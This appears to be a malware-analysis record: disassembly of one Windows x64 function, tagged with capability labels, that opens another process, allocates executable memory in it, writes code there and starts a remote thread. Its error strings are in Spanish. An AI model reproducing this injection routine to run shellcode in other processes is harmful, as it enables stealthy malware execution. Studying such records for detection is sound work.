Function at 0x1400025c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x1f8
mov rax, r8
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rdx
mov r8d, ecx
mov dword [rsp + 0x134], r8d
mov qword [rsp + 0x138], rdx
mov qword [rsp + 0x140], rax
mov ecx, 0x1fffff
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov rcx, rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x148], rcx
call fcn.140004780
test al, 1
jne 0x14000268c
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x198], rax
mov rdx, qword [rsp + 0x198]
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
call sub.KERNEL32.dll_VirtualAllocEx
mov rcx, rax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x150], rcx
call fcn.140004780
test al, 1
jne 0x14000270a
jmp 0x1400026b7
lea rcx, [rsp + 0x68]
lea rdx, str.Error_al_abrir_el_handle_del_proceso_n
mov r8d, 1
call fcn.140001990
lea rcx, [rsp + 0x68]
call fcn.1400085c0
mov byte [rsp + 0x67], 0
jmp 0x14000288b
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x1e8], r8
mov qword [rsp + 0x1f0], r9
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x20], rax
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [rsp + 0x15c], eax
cmp eax, 0
je 0x140002745
jmp 0x14000279a
lea rcx, [rsp + 0x98]
lea rdx, str.Error_al_asignar_memoria_remota_n
mov r8d, 1
call fcn.140001990
lea rcx, [rsp + 0x98]
call fcn.1400085c0
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_CloseHandle
mov byte [rsp + 0x67], 0
jmp 0x14000288b
lea rcx, [rsp + 0xd0]
lea rdx, str.Error_al_escribir_el_cdigo_en_la_memoria_remota_n
mov r8d, 1
call fcn.140001990
lea rcx, [rsp + 0xd0]
call fcn.1400085c0
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
xor eax, eax
mov r8d, eax
mov r9d, 0x8000
call sub.KERNEL32.dll_VirtualFreeEx
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_CloseHandle
mov byte [rsp + 0x67], 0
jmp 0x14000288b
mov r9, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x1c8], 0
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1e0], 0
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1d8], rax
mov rdx, qword [rsp + 0x1d8]
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x180], 0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x178], rax
mov r10, qword [rsp + 0x178]
mov qword [rsp + 0x1a8], 0
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1c0], 0
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x1b8]
xor r8d, r8d
xor r11d, r11d
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
call sub.KERNEL32.dll_CreateRemoteThread
mov rcx, rax
mov qword [rsp + 0x160], rcx
call fcn.140004780
test al, 1
jne 0x1400028a3
jmp 0x14000289c
mov al, byte [rsp + 0x67]
and al, 1
movzx eax, al
add rsp, 0x1f8
ret
mov byte [rsp + 0x67], 1
jmp 0x14000288b
lea rcx, [rsp + 0x100]
lea rdx, str.Error_al_crear_el_hilo_remoto_n
mov r8d, 1
call fcn.140001990
lea rcx, [rsp + 0x100]
call fcn.1400085c0
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
xor eax, eax
mov r8d, eax
mov r9d, 0x8000
call sub.KERNEL32.dll_VirtualFreeEx
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_CloseHandle
mov byte [rsp + 0x67], 0
jmp 0x14000288b